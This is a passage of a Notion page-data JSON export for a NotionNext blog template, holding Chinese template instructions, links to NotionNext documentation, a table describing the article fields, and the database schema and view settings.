ocked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"9c344479-39c1-43e6-82db-da1e457673b8":{"value":{"id":"9c344479-39c1-43e6-82db-da1e457673b8","type":"header","properties":{"title":[["如何使用Notion编写文章"]]},"format":{"copied_from_pointer":{"id":"7f76ac38-a1ec-4eb0-9f2b-930be49bd548","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"7f76ac38-a1ec-4eb0-9f2b-930be49bd548"}},"dfbfc243-3c10-4fa6-9afe-b7ea8e16c791":{"value":{"id":"dfbfc243-3c10-4fa6-9afe-b7ea8e16c791","type":"text","properties":{"title":[["请访问教程获取帮助"]]},"format":{"copied_from_pointer":{"id":"05108037-289f-4633-bca4-2491caf39c16","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337143,"last_edited_time":1705594337143,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"05108037-289f-4633-bca4-2491caf39c16"}},"91069561-1f89-408e-ba39-87eb119ef85a":{"value":{"id":"91069561-1f89-408e-ba39-87eb119ef85a","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/start-to-write"]],"title":[["如何在Notion中开始写作 | NotionNext文档"]],"description":[["这是一个由NotionNext生成的站点"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","copied_from_pointer":{"id":"9d4bcc86-6164-49b5-b9f7-da0238c6eae4","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"9d4bcc86-6164-49b5-b9f7-da0238c6eae4"}},"a0bcfc30-03ad-485c-8274-4dd1011c4373":{"value":{"id":"a0bcfc30-03ad-485c-8274-4dd1011c4373","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/notion-short-key"]],"title":[["Notion快捷键 | NotionNext文档"]],"description":[["Notion有很多使用的快捷键,看完这篇文章,让你的效率加倍"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","bookmark_cover":"https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd4851275-5ab5-4aaa-bc51-77c73ad658c4%2Fe8ed862f23227112ab999a90757a3bf8.jpg?table=block&id=a88d5688-b66a-4baf-a8e8-f769bb210954&width=800","copied_from_pointer":{"id":"17282155-ecbc-4305-ac53-fe11b3694d75","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337143,"last_edited_time":1705594337143,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"17282155-ecbc-4305-ac53-fe11b3694d75"}},"35153d83-59d1-4af9-b986-53aa8573709e":{"value":{"id":"35153d83-59d1-4af9-b986-53aa8573709e","type":"header","properties":{"title":[["模板使用说明"]]},"format":{"copied_from_pointer":{"id":"d47d353c-dacf-4bc5-88a9-35cc5747e15f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"d47d353c-dacf-4bc5-88a9-35cc5747e15f"}},"4db6ff22-9486-468a-8f4e-651a0973869c":{"value":{"id":"4db6ff22-9486-468a-8f4e-651a0973869c","type":"text","properties":{"title":[["NotionNext项目必须绑定一个Notion数据库才能使用。请访问教程获取帮助"]]},"format":{"copied_from_pointer":{"id":"d05a1cc7-2e83-4df0-b914-950ae25d7af2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"d05a1cc7-2e83-4df0-b914-950ae25d7af2"}},"3dbdf851-118a-40f3-a713-d6477e7a71a9":{"value":{"id":"3dbdf851-118a-40f3-a713-d6477e7a71a9","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/vercel-deploy-notion-next#3df829414795492bb41ec351eb6da84e"]],"title":[["Vercel云部署 | NotionNext文档"]],"description":[["Vercel是一款国外的Serverless托管平台,对个人用户使用几乎免费,而且方便快捷,用Vercel托管你的Notion站点,无需再操心服务器的维护与资费问题。"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1642083139428-9ee5fa423c46?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=tinysrgb&width=800&fmt=webp","copied_from_pointer":{"id":"c396a66f-9cf3-498d-801c-f4920a250f9c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"c396a66f-9cf3-498d-801c-f4920a250f9c"}},"2083ca79-572d-4541-a5c9-57585bd5c43e":{"value":{"id":"2083ca79-572d-4541-a5c9-57585bd5c43e","type":"transclusion_container","content":["66421ace-22bf-48c7-ad29-02813c60ca86","31b03937-440c-4d3c-9e1d-f7e574980c46","b02f9c83-81f1-43bd-9628-3e7bebd5f788","04b2e24c-2668-4730-a40a-20a95985573b"],"format":{"copied_from_pointer":{"id":"317252ed-9632-402f-a44a-98d96762d689","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"317252ed-9632-402f-a44a-98d96762d689"}},"66421ace-22bf-48c7-ad29-02813c60ca86":{"value":{"id":"66421ace-22bf-48c7-ad29-02813c60ca86","type":"sub_header","properties":{"title":[["Notion模板字段说明"]]},"format":{"copied_from_pointer":{"id":"668dc355-faed-4fe4-9d81-6f58fec61fb5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"668dc355-faed-4fe4-9d81-6f58fec61fb5"}},"31b03937-440c-4d3c-9e1d-f7e574980c46":{"value":{"id":"31b03937-440c-4d3c-9e1d-f7e574980c46","type":"text","properties":{"title":[["Notion数据库中,每条数据都将有以下属性🤔:"]]},"format":{"copied_from_pointer":{"id":"12385e7c-e10c-4622-9e50-7c6ad15123c3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"12385e7c-e10c-4622-9e50-7c6ad15123c3"}},"b02f9c83-81f1-43bd-9628-3e7bebd5f788":{"value":{"id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","type":"table","content":["51461f6d-9183-43ce-abb8-8a36cbf70224","f3b53692-4b37-4a1f-bd37-8fed90eab370","6183f85b-4bca-4886-8124-6225c80922a6","dd776aeb-7770-4ce0-bd08-4a1a747c1e42","b08e2032-92c2-494d-a65f-10865bae9cfa","0a03579c-603b-4921-a96c-582da1d0e6a4","0c2f3812-71c4-4d90-a96b-0f02b10442eb","9183be4f-9a55-4940-812f-e50275f88d5d","ba90c4d0-5bca-43eb-82db-749dd4f2958a","6e433da2-3abf-4b13-8e88-a743d5966975","553d4bf0-c754-45d8-98da-a76da2d494bc"],"format":{"copied_from_pointer":{"id":"dcfd5c0b-5113-455d-8c84-59da641239c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":116.99479675292969},"GENW":{"width":46.989585876464844},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705594337148,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"dcfd5c0b-5113-455d-8c84-59da641239c1"}},"51461f6d-9183-43ce-abb8-8a36cbf70224":{"value":{"id":"51461f6d-9183-43ce-abb8-8a36cbf70224","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"967fcf62-151b-4e6d-8e11-cf1330623b6e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"967fcf62-151b-4e6d-8e11-cf1330623b6e"}},"f3b53692-4b37-4a1f-bd37-8fed90eab370":{"value":{"id":"f3b53692-4b37-4a1f-bd37-8fed90eab370","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"56fe3c1e-0c1b-43d8-8344-56b30ede6161","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"56fe3c1e-0c1b-43d8-8344-56b30ede6161"}},"6183f85b-4bca-4886-8124-6225c80922a6":{"value":{"id":"6183f85b-4bca-4886-8124-6225c80922a6","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"0fa0d89f-d3f7-4100-a856-99812bbc8374","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"0fa0d89f-d3f7-4100-a856-99812bbc8374"}},"dd776aeb-7770-4ce0-bd08-4a1a747c1e42":{"value":{"id":"dd776aeb-7770-4ce0-bd08-4a1a747c1e42","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"fc0a364f-82e8-4089-a37a-fec79f038539","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337167,"last_edited_time":1705594337167,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"fc0a364f-82e8-4089-a37a-fec79f038539"}},"b08e2032-92c2-494d-a65f-10865bae9cfa":{"value":{"id":"b08e2032-92c2-494d-a65f-10865bae9cfa","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"f3c1aeeb-efab-4d55-a8b6-b87f513fc946","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337167,"last_edited_time":1705594337167,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"f3c1aeeb-efab-4d55-a8b6-b87f513fc946"}},"0a03579c-603b-4921-a96c-582da1d0e6a4":{"value":{"id":"0a03579c-603b-4921-a96c-582da1d0e6a4","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["否"]],"Js[p":[["发布日期"]],"`VuO":[["在V3.3.9之前的版本此项为必填。"]]},"format":{"copied_from_pointer":{"id":"41a21bdf-3dd3-4650-95ee-74789c4ea543","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"41a21bdf-3dd3-4650-95ee-74789c4ea543"}},"0c2f3812-71c4-4d90-a96b-0f02b10442eb":{"value":{"id":"0c2f3812-71c4-4d90-a96b-0f02b10442eb","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"30a12038-8ae7-49d2-add1-bf04b02e4310","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"30a12038-8ae7-49d2-add1-bf04b02e4310"}},"9183be4f-9a55-4940-812f-e50275f88d5d":{"value":{"id":"9183be4f-9a55-4940-812f-e50275f88d5d","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"bd6c29d2-2d8c-410d-8854-4febce31c08b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"bd6c29d2-2d8c-410d-8854-4febce31c08b"}},"ba90c4d0-5bca-43eb-82db-749dd4f2958a":{"value":{"id":"ba90c4d0-5bca-43eb-82db-749dd4f2958a","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"e8319f15-4ef7-4e18-b7e2-9465b28093d1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"e8319f15-4ef7-4e18-b7e2-9465b28093d1"}},"6e433da2-3abf-4b13-8e88-a743d5966975":{"value":{"id":"6e433da2-3abf-4b13-8e88-a743d5966975","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["/"],["Menu",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v6/search"]]]]},"format":{"copied_from_pointer":{"id":"9ede6934-ce4f-40fc-966a-5561738eaf8d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"9ede6934-ce4f-40fc-966a-5561738eaf8d"}},"553d4bf0-c754-45d8-98da-a76da2d494bc":{"value":{"id":"553d4bf0-c754-45d8-98da-a76da2d494bc","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[[" 否"]],"Js[p":[[" 文章加锁"]],"`VuO":[[" 需要输入密码才允许访问"]]},"format":{"copied_from_pointer":{"id":"34c189ef-9dc1-45a0-862a-84820c7fa952","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"34c189ef-9dc1-45a0-862a-84820c7fa952"}},"04b2e24c-2668-4730-a40a-20a95985573b":{"value":{"id":"04b2e24c-2668-4730-a40a-20a95985573b","type":"text","format":{"copied_from_pointer":{"id":"545f515a-6818-4862-ac51-294023cdf61f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"545f515a-6818-4862-ac51-294023cdf61f"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"tit